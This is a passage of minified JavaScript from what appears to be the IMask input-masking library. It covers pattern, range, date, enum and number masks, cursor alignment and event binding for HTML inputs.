s;while(n.chunks.length&&n.chunks[0].stop==null){s=n.chunks.shift();s.from+=n.from;this.extend(s)}}if(n.toString()){n.stop=n.blockIndex;this.chunks.push(n)}}}},{key:"appendTo",value:function t(n){if(!(n instanceof q.MaskedPattern)){var i=new B(this.toString());return i.appendTo(n)}var r=new P;for(var s=0;s<this.chunks.length&&!r.skip;++s){var o=this.chunks[s];var a=n._mapPosToBlock(n.value.length);var l=o.stop;var u=void 0;if(l!=null&&(!a||a.index<=l)){if(o instanceof e||n._stops.indexOf(l)>=0){r.aggregate(n._appendPlaceholder(l))}u=o instanceof e&&n._blocks[l]}if(u){var c=u.appendTail(o);c.skip=false;r.aggregate(c);n._value+=c.inserted;var f=o.toString().slice(c.rawInserted.length);if(f)r.aggregate(n.append(f,{tail:true}))}else{r.aggregate(n.append(o.toString(),{tail:true}))}}return r}},{key:"state",get:function e(){return{chunks:this.chunks.map((function(e){return e.state})),from:this.from,stop:this.stop,blockIndex:this.blockIndex}},set:function t(n){var i=n.chunks,r=b(n,Y);Object.assign(this,r);this.chunks=i.map((function(t){var n="chunks"in t?new e:new B;n.state=t;return n}))}},{key:"unshift",value:function e(t){if(!this.chunks.length||t!=null&&this.from>=t)return"";var n=t!=null?t-this.from:t;var i=0;while(i<this.chunks.length){var r=this.chunks[i];var s=r.unshift(n);if(r.toString()){if(!s)break;++i}else{this.chunks.splice(i,1)}if(s)return s}return""}},{key:"shift",value:function e(){if(!this.chunks.length)return"";var t=this.chunks.length-1;while(0<=t){var n=this.chunks[t];var i=n.shift();if(n.toString()){if(!i)break;--t}else{this.chunks.splice(t,1)}if(i)return i}return""}}]);return e}();var J=function(){function e(t,n){c(this,e);this.masked=t;this._log=[];var i=t._mapPosToBlock(n)||(n<0?{index:0,offset:0}:{index:this.masked._blocks.length,offset:0}),r=i.offset,s=i.index;this.offset=r;this.index=s;this.ok=false}d(e,[{key:"block",get:function e(){return this.masked._blocks[this.index]}},{key:"pos",get:function e(){return this.masked._blockStartPos(this.index)+this.offset}},{key:"state",get:function e(){return{index:this.index,offset:this.offset,ok:this.ok}},set:function e(t){Object.assign(this,t)}},{key:"pushState",value:function e(){this._log.push(this.state)}},{key:"popState",value:function e(){var t=this._log.pop();this.state=t;return t}},{key:"bindBlock",value:function e(){if(this.block)return;if(this.index<0){this.index=0;this.offset=0}if(this.index>=this.masked._blocks.length){this.index=this.masked._blocks.length-1;this.offset=this.block.value.length}}},{key:"_pushLeft",value:function e(t){this.pushState();for(this.bindBlock();0<=this.index;--this.index,this.offset=((n=this.block)===null||n===void 0?void 0:n.value.length)||0){var n;if(t())return this.ok=true}return this.ok=false}},{key:"_pushRight",value:function e(t){this.pushState();for(this.bindBlock();this.index<this.masked._blocks.length;++this.index,this.offset=0){if(t())return this.ok=true}return this.ok=false}},{key:"pushLeftBeforeFilled",value:function e(){var t=this;return this._pushLeft((function(){if(t.block.isFixed||!t.block.value)return;t.offset=t.block.nearestInputPos(t.offset,F.FORCE_LEFT);if(t.offset!==0)return true}))}},{key:"pushLeftBeforeInput",value:function e(){var t=this;return this._pushLeft((function(){if(t.block.isFixed)return;t.offset=t.block.nearestInputPos(t.offset,F.LEFT);return true}))}},{key:"pushLeftBeforeRequired",value:function e(){var t=this;return this._pushLeft((function(){if(t.block.isFixed||t.block.isOptional&&!t.block.value)return;t.offset=t.block.nearestInputPos(t.offset,F.LEFT);return true}))}},{key:"pushRightBeforeFilled",value:function e(){var t=this;return this._pushRight((function(){if(t.block.isFixed||!t.block.value)return;t.offset=t.block.nearestInputPos(t.offset,F.FORCE_RIGHT);if(t.offset!==t.block.value.length)return true}))}},{key:"pushRightBeforeInput",value:function e(){var t=this;return this._pushRight((function(){if(t.block.isFixed)return;t.offset=t.block.nearestInputPos(t.offset,F.NONE);return true}))}},{key:"pushRightBeforeRequired",value:function e(){var t=this;return this._pushRight((function(){if(t.block.isFixed||t.block.isOptional&&!t.block.value)return;t.offset=t.block.nearestInputPos(t.offset,F.NONE);return true}))}}]);return e}();var Z=function(e){p(n,e);var t=x(n);function n(){c(this,n);return t.apply(this,arguments)}d(n,[{key:"_update",value:function e(t){if(t.mask)t.validate=function(e){return e.search(t.mask)>=0};C(g(n.prototype),"_update",this).call(this,t)}}]);return n}(z);q.MaskedRegExp=Z;var ee=["_blocks"];var te=function(e){p(n,e);var t=x(n);function n(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:{};c(this,n);e.definitions=Object.assign({},U,e.definitions);return t.call(this,Object.assign({},n.DEFAULTS,e))}d(n,[{key:"_update",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:{};t.definitions=Object.assign({},this.definitions,t.definitions);C(g(n.prototype),"_update",this).call(this,t);this._rebuildMask()}},{key:"_rebuildMask",value:function e(){var t=this;var i=this.definitions;this._blocks=[];this._stops=[];this._maskedBlocks={};var r=this.mask;if(!r||!i)return;var s=false;var o=false;for(var a=0;a<r.length;++a){if(this.blocks){var l=function(){var e=r.slice(a);var n=Object.keys(t.blocks).filter((function(t){return e.indexOf(t)===0}));n.sort((function(e,t){return t.length-e.length}));var i=n[0];if(i){var s=Q(Object.assign({parent:t,lazy:t.lazy,eager:t.eager,placeholderChar:t.placeholderChar,overwrite:t.overwrite},t.blocks[i]));if(s){t._blocks.push(s);if(!t._maskedBlocks[i])t._maskedBlocks[i]=[];t._maskedBlocks[i].push(t._blocks.length-1)}a+=i.length-1;return"continue"}}();if(l==="continue")continue}var u=r[a];var c=u in i;if(u===n.STOP_CHAR){this._stops.push(this._blocks.length);continue}if(u==="{"||u==="}"){s=!s;continue}if(u==="["||u==="]"){o=!o;continue}if(u===n.ESCAPE_CHAR){++a;u=r[a];if(!u)break;c=false}var f=c?new K({parent:this,lazy:this.lazy,eager:this.eager,placeholderChar:this.placeholderChar,mask:i[u],isOptional:o}):new G({char:u,eager:this.eager,isUnmasking:s});this._blocks.push(f)}}},{key:"state",get:function e(){return Object.assign({},C(g(n.prototype),"state",this),{_blocks:this._blocks.map((function(e){return e.state}))})},set:function e(t){var i=t._blocks,r=b(t,ee);this._blocks.forEach((function(e,t){return e.state=i[t]}));A(g(n.prototype),"state",r,this,true)}},{key:"reset",value:function e(){C(g(n.prototype),"reset",this).call(this);this._blocks.forEach((function(e){return e.reset()}))}},{key:"isComplete",get:function e(){return this._blocks.every((function(e){return e.isComplete}))}},{key:"isFilled",get:function e(){return this._blocks.every((function(e){return e.isFilled}))}},{key:"isFixed",get:function e(){return this._blocks.every((function(e){return e.isFixed}))}},{key:"isOptional",get:function e(){return this._blocks.every((function(e){return e.isOptional}))}},{key:"doCommit",value:function e(){this._blocks.forEach((function(e){return e.doCommit()}));C(g(n.prototype),"doCommit",this).call(this)}},{key:"unmaskedValue",get:function e(){return this._blocks.reduce((function(e,t){return e+=t.unmaskedValue}),"")},set:function e(t){A(g(n.prototype),"unmaskedValue",t,this,true)}},{key:"value",get:function e(){return this._blocks.reduce((function(e,t){return e+=t.value}),"")},set:function e(t){A(g(n.prototype),"value",t,this,true)}},{key:"appendTail",value:function e(t){return C(g(n.prototype),"appendTail",this).call(this,t).aggregate(this._appendPlaceholder())}},{key:"_appendEager",value:function e(){var t;var n=new P;var i=(t=this._mapPosToBlock(this.value.length))===null||t===void 0?void 0:t.index;if(i==null)return n;if(this._blocks[i].isFilled)++i;for(var r=i;r<this._blocks.length;++r){var s=this._blocks[r]._appendEager();if(!s.inserted)break;n.aggregate(s)}return n}},{key:"_appendCharRaw",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};var i=this._mapPosToBlock(this.value.length);var r=new P;if(!i)return r;for(var s=i.index;;++s){var o;var a=this._blocks[s];if(!a)break;var l=a._appendChar(t,Object.assign({},n,{_beforeTailState:(o=n._beforeTailState)===null||o===void 0?void 0:o._blocks[s]}));var u=l.skip;r.aggregate(l);if(u||l.rawInserted)break}return r}},{key:"extractTail",value:function e(){var t=this;var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:0;var i=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var r=new X;if(n===i)return r;this._forEachBlocksInRange(n,i,(function(e,n,i,s){var o=e.extractTail(i,s);o.stop=t._findStopBefore(n);o.from=t._blockStartPos(n);if(o instanceof X)o.blockIndex=n;r.extend(o)}));return r}},{key:"extractInput",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:0;var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var i=arguments.length>2&&arguments[2]!==undefined?arguments[2]:{};if(t===n)return"";var r="";this._forEachBlocksInRange(t,n,(function(e,t,n,s){r+=e.extractInput(n,s,i)}));return r}},{key:"_findStopBefore",value:function e(t){var n;for(var i=0;i<this._stops.length;++i){var r=this._stops[i];if(r<=t)n=r;else break}return n}},{key:"_appendPlaceholder",value:function e(t){var n=this;var i=new P;if(this.lazy&&t==null)return i;var r=this._mapPosToBlock(this.value.length);if(!r)return i;var s=r.index;var o=t!=null?t:this._blocks.length;this._blocks.slice(s,o).forEach((function(e){if(!e.lazy||t!=null){var r=e._blocks!=null?[e._blocks.length]:[];var s=e._appendPlaceholder.apply(e,r);n._value+=s.inserted;i.aggregate(s)}}));return i}},{key:"_mapPosToBlock",value:function e(t){var n="";for(var i=0;i<this._blocks.length;++i){var r=this._blocks[i];var s=n.length;n+=r.value;if(t<=n.length){return{index:i,offset:t-s}}}}},{key:"_blockStartPos",value:function e(t){return this._blocks.slice(0,t).reduce((function(e,t){return e+=t.value.length}),0)}},{key:"_forEachBlocksInRange",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var i=arguments.length>2?arguments[2]:undefined;var r=this._mapPosToBlock(t);if(r){var s=this._mapPosToBlock(n);var o=s&&r.index===s.index;var a=r.offset;var l=s&&o?s.offset:this._blocks[r.index].value.length;i(this._blocks[r.index],r.index,a,l);if(s&&!o){for(var u=r.index+1;u<s.index;++u){i(this._blocks[u],u,0,this._blocks[u].value.length)}i(this._blocks[s.index],s.index,0,s.offset)}}}},{key:"remove",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:0;var i=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var r=C(g(n.prototype),"remove",this).call(this,t,i);this._forEachBlocksInRange(t,i,(function(e,t,n,i){r.aggregate(e.remove(n,i))}));return r}},{key:"nearestInputPos",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:F.NONE;if(!this._blocks.length)return 0;var i=new J(this,t);if(n===F.NONE){if(i.pushRightBeforeInput())return i.pos;i.popState();if(i.pushLeftBeforeInput())return i.pos;return this.value.length}if(n===F.LEFT||n===F.FORCE_LEFT){if(n===F.LEFT){i.pushRightBeforeFilled();if(i.ok&&i.pos===t)return t;i.popState()}i.pushLeftBeforeInput();i.pushLeftBeforeRequired();i.pushLeftBeforeFilled();if(n===F.LEFT){i.pushRightBeforeInput();i.pushRightBeforeRequired();if(i.ok&&i.pos<=t)return i.pos;i.popState();if(i.ok&&i.pos<=t)return i.pos;i.popState()}if(i.ok)return i.pos;if(n===F.FORCE_LEFT)return 0;i.popState();if(i.ok)return i.pos;i.popState();if(i.ok)return i.pos;return 0}if(n===F.RIGHT||n===F.FORCE_RIGHT){i.pushRightBeforeInput();i.pushRightBeforeRequired();if(i.pushRightBeforeFilled())return i.pos;if(n===F.FORCE_RIGHT)return this.value.length;i.popState();if(i.ok)return i.pos;i.popState();if(i.ok)return i.pos;return this.nearestInputPos(t,F.LEFT)}return t}},{key:"maskedBlock",value:function e(t){return this.maskedBlocks(t)[0]}},{key:"maskedBlocks",value:function e(t){var n=this;var i=this._maskedBlocks[t];if(!i)return[];return i.map((function(e){return n._blocks[e]}))}}]);return n}(z);te.DEFAULTS={lazy:true,placeholderChar:"_"};te.STOP_CHAR="`";te.ESCAPE_CHAR="\\";te.InputDefinition=K;te.FixedDefinition=G;q.MaskedPattern=te;var ne=function(e){p(n,e);var t=x(n);function n(){c(this,n);return t.apply(this,arguments)}d(n,[{key:"_matchFrom",get:function e(){return this.maxLength-String(this.from).length}},{key:"_update",value:function e(t){t=Object.assign({to:this.to||0,from:this.from||0,maxLength:this.maxLength||0},t);var i=String(t.to).length;if(t.maxLength!=null)i=Math.max(i,t.maxLength);t.maxLength=i;var r=String(t.from).padStart(i,"0");var s=String(t.to).padStart(i,"0");var o=0;while(o<s.length&&s[o]===r[o]){++o}t.mask=s.slice(0,o).replace(/0/g,"\\0")+"0".repeat(i-o);C(g(n.prototype),"_update",this).call(this,t)}},{key:"isComplete",get:function e(){return C(g(n.prototype),"isComplete",this)&&Boolean(this.value)}},{key:"boundaries",value:function e(t){var n="";var i="";var r=t.match(/^(\D*)(\d*)(\D*)/)||[],s=T(r,3),o=s[1],a=s[2];if(a){n="0".repeat(o.length)+a;i="9".repeat(o.length)+a}n=n.padEnd(this.maxLength,"0");i=i.padEnd(this.maxLength,"9");return[n,i]}},{key:"doPrepare",value:function e(t){var i=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};var r;var s=$(C(g(n.prototype),"doPrepare",this).call(this,t.replace(/\D/g,""),i));var o=T(s,2);t=o[0];r=o[1];if(!this.autofix||!t)return t;var a=String(this.from).padStart(this.maxLength,"0");var l=String(this.to).padStart(this.maxLength,"0");var u=this.value+t;if(u.length>this.maxLength)return"";var c=this.boundaries(u),f=T(c,2),d=f[0],h=f[1];if(Number(h)<this.from)return a[u.length-1];if(Number(d)>this.to){if(this.autofix==="pad"&&u.length<this.maxLength){return["",r.aggregate(this.append(a[u.length-1]+t,i))]}return l[u.length-1]}return t}},{key:"doValidate",value:function e(){var t;var i=this.value;var r=i.search(/[^0]/);if(r===-1&&i.length<=this._matchFrom)return true;var s=this.boundaries(i),o=T(s,2),a=o[0],l=o[1];for(var u=arguments.length,c=new Array(u),f=0;f<u;f++){c[f]=arguments[f]}return this.from<=Number(l)&&Number(a)<=this.to&&(t=C(g(n.prototype),"doValidate",this)).call.apply(t,[this].concat(c))}}]);return n}(te);q.MaskedRange=ne;var ie=function(e){p(n,e);var t=x(n);function n(e){c(this,n);return t.call(this,Object.assign({},n.DEFAULTS,e))}d(n,[{key:"_update",value:function e(t){if(t.mask===Date)delete t.mask;if(t.pattern)t.mask=t.pattern;var i=t.blocks;t.blocks=Object.assign({},n.GET_DEFAULT_BLOCKS());if(t.min)t.blocks.Y.from=t.min.getFullYear();if(t.max)t.blocks.Y.to=t.max.getFullYear();if(t.min&&t.max&&t.blocks.Y.from===t.blocks.Y.to){t.blocks.m.from=t.min.getMonth()+1;t.blocks.m.to=t.max.getMonth()+1;if(t.blocks.m.from===t.blocks.m.to){t.blocks.d.from=t.min.getDate();t.blocks.d.to=t.max.getDate()}}Object.assign(t.blocks,this.blocks,i);Object.keys(t.blocks).forEach((function(e){var n=t.blocks[e];if(!("autofix"in n)&&"autofix"in t)n.autofix=t.autofix}));C(g(n.prototype),"_update",this).call(this,t)}},{key:"doValidate",value:function e(){var t;var i=this.date;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++){s[o]=arguments[o]}return(t=C(g(n.prototype),"doValidate",this)).call.apply(t,[this].concat(s))&&(!this.isComplete||this.isDateExist(this.value)&&i!=null&&(this.min==null||this.min<=i)&&(this.max==null||i<=this.max))}},{key:"isDateExist",value:function e(t){return this.format(this.parse(t,this),this).indexOf(t)>=0}},{key:"date",get:function e(){return this.typedValue},set:function e(t){this.typedValue=t}},{key:"typedValue",get:function e(){return this.isComplete?C(g(n.prototype),"typedValue",this):null},set:function e(t){A(g(n.prototype),"typedValue",t,this,true)}},{key:"maskEquals",value:function e(t){return t===Date||C(g(n.prototype),"maskEquals",this).call(this,t)}}]);return n}(te);ie.DEFAULTS={pattern:"d{.}`m{.}`Y",format:function e(t){if(!t)return"";var n=String(t.getDate()).padStart(2,"0");var i=String(t.getMonth()+1).padStart(2,"0");var r=t.getFullYear();return[n,i,r].join(".")},parse:function e(t){var n=t.split("."),i=T(n,3),r=i[0],s=i[1],o=i[2];return new Date(o,s-1,r)}};ie.GET_DEFAULT_BLOCKS=function(){return{d:{mask:ne,from:1,to:31,maxLength:2},m:{mask:ne,from:1,to:12,maxLength:2},Y:{mask:ne,from:1900,to:9999}}};q.MaskedDate=ie;var re=function(){function e(){c(this,e)}d(e,[{key:"selectionStart",get:function e(){var t;try{t=this._unsafeSelectionStart}catch(e){}return t!=null?t:this.value.length}},{key:"selectionEnd",get:function e(){var t;try{t=this._unsafeSelectionEnd}catch(e){}return t!=null?t:this.value.length}},{key:"select",value:function e(t,n){if(t==null||n==null||t===this.selectionStart&&n===this.selectionEnd)return;try{this._unsafeSelect(t,n)}catch(e){}}},{key:"_unsafeSelect",value:function e(t,n){}},{key:"isActive",get:function e(){return false}},{key:"bindEvents",value:function e(t){}},{key:"unbindEvents",value:function e(){}}]);return e}();q.MaskElement=re;var se=function(e){p(n,e);var t=x(n);function n(e){var i;c(this,n);i=t.call(this);i.input=e;i._handlers={};return i}d(n,[{key:"rootElement",get:function e(){var t,n,i;return(t=(n=(i=this.input).getRootNode)===null||n===void 0?void 0:n.call(i))!==null&&t!==void 0?t:document}},{key:"isActive",get:function e(){return this.input===this.rootElement.activeElement}},{key:"_unsafeSelectionStart",get:function e(){return this.input.selectionStart}},{key:"_unsafeSelectionEnd",get:function e(){return this.input.selectionEnd}},{key:"_unsafeSelect",value:function e(t,n){this.input.setSelectionRange(t,n)}},{key:"value",get:function e(){return this.input.value},set:function e(t){this.input.value=t}},{key:"bindEvents",value:function e(t){var i=this;Object.keys(t).forEach((function(e){return i._toggleEventHandler(n.EVENTS_MAP[e],t[e])}))}},{key:"unbindEvents",value:function e(){var t=this;Object.keys(this._handlers).forEach((function(e){return t._toggleEventHandler(e)}))}},{key:"_toggleEventHandler",value:function e(t,n){if(this._handlers[t]){this.input.removeEventListener(t,this._handlers[t]);delete this._handlers[t]}if(n){this.input.addEventListener(t,n);this._handlers[t]=n}}}]);return n}(re);se.EVENTS_MAP={selectionChange:"keydown",input:"input",drop:"drop",click:"click",focus:"focus",commit:"blur"};q.HTMLMaskElement=se;var oe=function(e){p(n,e);var t=x(n);function n(){c(this,n);return t.apply(this,arguments)}d(n,[{key:"_unsafeSelectionStart",get:function e(){var t=this.rootElement;var n=t.getSelection&&t.getSelection();var i=n&&n.anchorOffset;var r=n&&n.focusOffset;if(r==null||i==null||i<r){return i}return r}},{key:"_unsafeSelectionEnd",get:function e(){var t=this.rootElement;var n=t.getSelection&&t.getSelection();var i=n&&n.anchorOffset;var r=n&&n.focusOffset;if(r==null||i==null||i>r){return i}return r}},{key:"_unsafeSelect",value:function e(t,n){if(!this.rootElement.createRange)return;var i=this.rootElement.createRange();i.setStart(this.input.firstChild||this.input,t);i.setEnd(this.input.lastChild||this.input,n);var r=this.rootElement;var s=r.getSelection&&r.getSelection();if(s){s.removeAllRanges();s.addRange(i)}}},{key:"value",get:function e(){return this.input.textContent},set:function e(t){this.input.textContent=t}}]);return n}(se);q.HTMLContenteditableMaskElement=oe;var ae=["mask"];var le=function(){function e(t,n){c(this,e);this.el=t instanceof re?t:t.isContentEditable&&t.tagName!=="INPUT"&&t.tagName!=="TEXTAREA"?new oe(t):new se(t);this.masked=Q(n);this._listeners={};this._value="";this._unmaskedValue="";this._saveSelection=this._saveSelection.bind(this);this._onInput=this._onInput.bind(this);this._onChange=this._onChange.bind(this);this._onDrop=this._onDrop.bind(this);this._onFocus=this._onFocus.bind(this);this._onClick=this._onClick.bind(this);this.alignCursor=this.alignCursor.bind(this);this.alignCursorFriendly=this.alignCursorFriendly.bind(this);this._bindEvents();this.updateValue();this._onChange()}d(e,[{key:"mask",get:function e(){return this.masked.mask},set:function e(t){if(this.maskEquals(t))return;if(!(t instanceof q.Masked)&&this.masked.constructor===W(t)){this.masked.updateOptions({mask:t});return}var n=Q({mask:t});n.unmaskedValue=this.masked.unmaskedValue;this.masked=n}},{key:"maskEquals",value:function e(t){var n;return t==null||((n=this.masked)===null||n===void 0?void 0:n.maskEquals(t))}},{key:"value",get:function e(){return this._value},set:function e(t){this.masked.value=t;this.updateControl();this.alignCursor()}},{key:"unmaskedValue",get:function e(){return this._unmaskedValue},set:function e(t){this.masked.unmaskedValue=t;this.updateControl();this.alignCursor()}},{key:"typedValue",get:function e(){return this.masked.typedValue},set:function e(t){this.masked.typedValue=t;this.updateControl();this.alignCursor()}},{key:"_bindEvents",value:function e(){this.el.bindEvents({selectionChange:this._saveSelection,input:this._onInput,drop:this._onDrop,click:this._onClick,focus:this._onFocus,commit:this._onChange})}},{key:"_unbindEvents",value:function e(){if(this.el)this.el.unbindEvents()}},{key:"_fireEvent",value:function e(t){for(var n=arguments.length,i=new Array(n>1?n-1:0),r=1;r<n;r++){i[r-1]=arguments[r]}var s=this._listeners[t];if(!s)return;s.forEach((function(e){return e.apply(void 0,i)}))}},{key:"selectionStart",get:function e(){return this._cursorChanging?this._changingCursorPos:this.el.selectionStart}},{key:"cursorPos",get:function e(){return this._cursorChanging?this._changingCursorPos:this.el.selectionEnd},set:function e(t){if(!this.el||!this.el.isActive)return;this.el.select(t,t);this._saveSelection()}},{key:"_saveSelection",value:function e(){if(this.value!==this.el.value){console.warn("Element value was changed outside of mask. Syncronize mask using `mask.updateValue()` to work properly.")}this._selection={start:this.selectionStart,end:this.cursorPos}}},{key:"updateValue",value:function e(){this.masked.value=this.el.value;this._value=this.masked.value}},{key:"updateControl",value:function e(){var t=this.masked.unmaskedValue;var n=this.masked.value;var i=this.unmaskedValue!==t||this.value!==n;this._unmaskedValue=t;this._value=n;if(this.el.value!==n)this.el.value=n;if(i)this._fireChangeEvents()}},{key:"updateOptions",value:function e(t){var n=t.mask,i=b(t,ae);var r=!this.maskEquals(n);var s=!R(this.masked,i);if(r)this.mask=n;if(s)this.masked.updateOptions(i);if(r||s)this.updateControl()}},{key:"updateCursor",value:function e(t){if(t==null)return;this.cursorPos=t;this._delayUpdateCursor(t)}},{key:"_delayUpdateCursor",value:function e(t){var n=this;this._abortUpdateCursor();this._changingCursorPos=t;this._cursorChanging=setTimeout((function(){if(!n.el)return;n.cursorPos=n._changingCursorPos;n._abortUpdateCursor()}),10)}},{key:"_fireChangeEvents",value:function e(){this._fireEvent("accept",this._inputEvent);if(this.masked.isComplete)this._fireEvent("complete",this._inputEvent)}},{key:"_abortUpdateCursor",value:function e(){if(this._cursorChanging){clearTimeout(this._cursorChanging);delete this._cursorChanging}}},{key:"alignCursor",value:function e(){this.cursorPos=this.masked.nearestInputPos(this.masked.nearestInputPos(this.cursorPos,F.LEFT))}},{key:"alignCursorFriendly",value:function e(){if(this.selectionStart!==this.cursorPos)return;this.alignCursor()}},{key:"on",value:function e(t,n){if(!this._listeners[t])this._listeners[t]=[];this._listeners[t].push(n);return this}},{key:"off",value:function e(t,n){if(!this._listeners[t])return this;if(!n){delete this._listeners[t];return this}var i=this._listeners[t].indexOf(n);if(i>=0)this._listeners[t].splice(i,1);return this}},{key:"_onInput",value:function e(t){this._inputEvent=t;this._abortUpdateCursor();if(!this._selection)return this.updateValue();var n=new H(this.el.value,this.cursorPos,this.value,this._selection);var i=this.masked.rawInputValue;var r=this.masked.splice(n.startChangePos,n.removed.length,n.inserted,n.removeDirection).offset;var s=i===this.masked.rawInputValue?n.removeDirection:F.NONE;var o=this.masked.nearestInputPos(n.startChangePos+r,s);if(s!==F.NONE)o=this.masked.nearestInputPos(o,F.NONE);this.updateControl();this.updateCursor(o);delete this._inputEvent}},{key:"_onChange",value:function e(){if(this.value!==this.el.value){this.updateValue()}this.masked.doCommit();this.updateControl();this._saveSelection()}},{key:"_onDrop",value:function e(t){t.preventDefault();t.stopPropagation()}},{key:"_onFocus",value:function e(t){this.alignCursorFriendly()}},{key:"_onClick",value:function e(t){this.alignCursorFriendly()}},{key:"destroy",value:function e(){this._unbindEvents();this._listeners.length=0;delete this.el}}]);return e}();q.InputMask=le;var ue=function(e){p(n,e);var t=x(n);function n(){c(this,n);return t.apply(this,arguments)}d(n,[{key:"_update",value:function e(t){if(t.enum)t.mask="*".repeat(t.enum[0].length);C(g(n.prototype),"_update",this).call(this,t)}},{key:"doValidate",value:function e(){var t=this,i;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++){s[o]=arguments[o]}return this.enum.some((function(e){return e.indexOf(t.unmaskedValue)>=0}))&&(i=C(g(n.prototype),"doValidate",this)).call.apply(i,[this].concat(s))}}]);return n}(te);q.MaskedEnum=ue;var ce=function(e){p(n,e);var t=x(n);function n(e){c(this,n);return t.call(this,Object.assign({},n.DEFAULTS,e))}d(n,[{key:"_update",value:function e(t){C(g(n.prototype),"_update",this).call(this,t);this._updateRegExps()}},{key:"_updateRegExps",value:function e(){var t="^"+(this.allowNegative?"[+|\\-]?":"");var n="(0|([1-9]+\\d*))?";var i="\\d*";var r=(this.scale?"("+M(this.radix)+"\\d{0,"+this.scale+"})?":"")+"$";this._numberRegExpInput=new RegExp(t+n+r);this._numberRegExp=new RegExp(t+i+r);this._mapToRadixRegExp=new RegExp("["+this.mapToRadix.map(M).join("")+"]","g");this._thousandsSeparatorRegExp=new RegExp(M(this.thousandsSeparator),"g")}},{key:"_removeThousandsSeparators",value:function e(t){return t.replace(this._thousandsSeparatorRegExp,"")}},{key:"_insertThousandsSeparators",value:function e(t){var n=t.split(this.radix);n[0]=n[0].replace(/\B(?=(\d{3})+(?!\d))/g,this.thousandsSeparator);return n.join(this.radix)}},{key:"doPrepare",value:function e(t){var i;t=t.replace(this._mapToRadixRegExp,this.radix);var r=this._removeThousandsSeparators(t);for(var s=arguments.length,o=new Array(s>1?s-1:0),a=1;a<s;a++){o[a-1]=arguments[a]}var l=$((i=C(g(n.prototype),"doPrepare",this)).call.apply(i,[this,r].concat(o))),u=T(l,2),c=u[0],f=u[1];if(t&&!r)f.skip=true;return[c,f]}},{key:"_separatorsCount",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:false;var i=0;for(var r=0;r<t;++r){if(this._value.indexOf(this.thousandsSeparator,r)===r){++i;if(n)t+=this.thousandsSeparator.length}}return i}},{key:"_separatorsCountFromSlice",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:this._value;return this._separatorsCount(this._removeThousandsSeparators(t).length,true)}},{key:"extractInput",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:0;var i=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var r=arguments.length>2?arguments[2]:undefined;var s=this._adjustRangeWithSeparators(t,i);var o=T(s,2);t=o[0];i=o[1];return this._removeThousandsSeparators(C(g(n.prototype),"extractInput",this).call(this,t,i,r))}},{key:"_appendCharRaw",value:function e(t){var i=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};if(!this.thousandsSeparator)return C(g(n.prototype),"_appendCharRaw",this).call(this,t,i);var r=i.tail&&i._beforeTailState?i._beforeTailState._value:this._value;var s=this._separatorsCountFromSlice(r);this._value=this._removeThousandsSeparators(this.value);var o=C(g(n.prototype),"_appendCharRaw",this).call(this,t,i);this._value=this._insertThousandsSeparators(this._value);var a=i.tail&&i._beforeTailState?i._beforeTailState._value:this._value;var l=this._separatorsCountFromSlice(a);o.tailShift+=(l-s)*this.thousandsSeparator.length;o.skip=!o.rawInserted&&t===this.thousandsSeparator;return o}},{key:"_findSeparatorAround",value:function e(t){if(this.thousandsSeparator){var n=t-this.thousandsSeparator.length+1;var i=this.value.indexOf(this.thousandsSeparator,n);if(i<=t)return i}return-1}},{key:"_adjustRangeWithSeparators",value:function e(t,n){var i=this._findSeparatorAround(t);if(i>=0)t=i;var r=this._findSeparatorAround(n);if(r>=0)n=r+this.thousandsSeparator.length;return[t,n]}},{key:"remove",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:0;var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:this.value.length;var i=this._adjustRangeWithSeparators(t,n);var r=T(i,2);t=r[0];n=r[1];var s=this.value.slice(0,t);var o=this.value.slice(n);var a=this._separatorsCount(s.length);this._value=this._insertThousandsSeparators(this._removeThousandsSeparators(s+o));var l=this._separatorsCountFromSlice(s);return new P({tailShift:(l-a)*this.thousandsSeparator.length})}},{key:"nearestInputPos",value:function e(t,n){if(!this.thousandsSeparator)return t;switch(n){case F.NONE:case F.LEFT:case F.FORCE_LEFT:{var i=this._findSeparatorAround(t-1);if(i>=0){var r=i+this.thousandsSeparator.length;if(t<r||this.value.length<=r||n===F.FORCE_LEFT){return i}}break}case F.RIGHT:case F.FORCE_RIGHT:{var s=this._findSeparatorAround(t);if(s>=0){return s+this.thousandsSeparator.length}}}return t}},{key:"doValidate",value:function e(t){var i=t.input?this._numberRegExpInput:this._numberRegExp;var r=i.test(this._removeThousandsSeparators(this.value));if(r){var s=this.number;r=r&&!isNaN(s)&&(this.min==null||this.min>=0||this.min<=this.number)&&(this.max==null||this.max<=0||this.number<=this.max)}return r&&C(g(n.prototype),"doValidate",this).call(this,t)}},{key:"doCommit",value:function e(){if(this.value){var t=this.number;var i=t;if(this.min!=null)i=Math.max(i,this.min);if(this.max!=null)i=Math.min(i,this.max);if(i!==t)this.unmaskedValue=String(i);var r=this.value;if(this.normalizeZeros)r=this._normalizeZeros(r);if(this.padFractionalZeros&&this.scale>0)r=this._padFractionalZeros(r);this._value=r}C(g(n.prototype),"doCommit",this).call(this)}},{key:"_normalizeZeros",value:function e(t){var n=this._removeThousandsSeparators(t).split(this.radix);n[0]=n[0].replace(/^(\D*)(0*)(\d*)/,(function(e,t,n,i){return 